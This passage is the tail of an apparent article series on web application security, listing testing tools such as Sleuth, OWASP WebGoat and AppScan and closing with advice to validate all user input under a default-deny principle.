Sleuth is a commercial application for locating web application security vulnerabilities. It includes intercept proxy and web-spider features.  Home Page: <http://www.sandsprite.com/Sleuth>  **Webgoat**  The OWASP Webgoat project aims to create an interactive learning environment for web application security. It teaches developers, using practical exercises, the most common web application security and design flaws. It is written in Java and installers are available for both \*nix and Win32 systems.  Home Page: <http://www.owasp.org/development/webgoat>  **AppScan**  AppScan is a commercial web application security testing tool developed by Sanctum Inc. It includes features such as code sanitation, offline analysis, and automated scan scheduling.  Home Page: <http://www.sanctuminc.com/solutions/appscan/index.html>  **Conclusion**  Web applications are becoming the standard for client-server communications over the Internet. As more and more applications are 'web enabled', the number of web application security issues will increase; traditional local system vulnerabilities, such as directory traversals, overflows and race conditions, are opened up to new vectors of attack. The responsibility for the security of sensitive systems will rest increasingly with the web developer, rather than the vendor or system administrator.  In this series of articles we hope to have stressed the importance of user input validation and have demonstrated how all major web application security issues relate back to this concept. The best defense against input-manipulation attacks is to treat all input with a healthy dose of paranoia and the notion of "if not explicitly allowed, deny." Dealing with user complaints about non-permitted characters is always going to be less painful than a security incident stemming from unfiltered input. |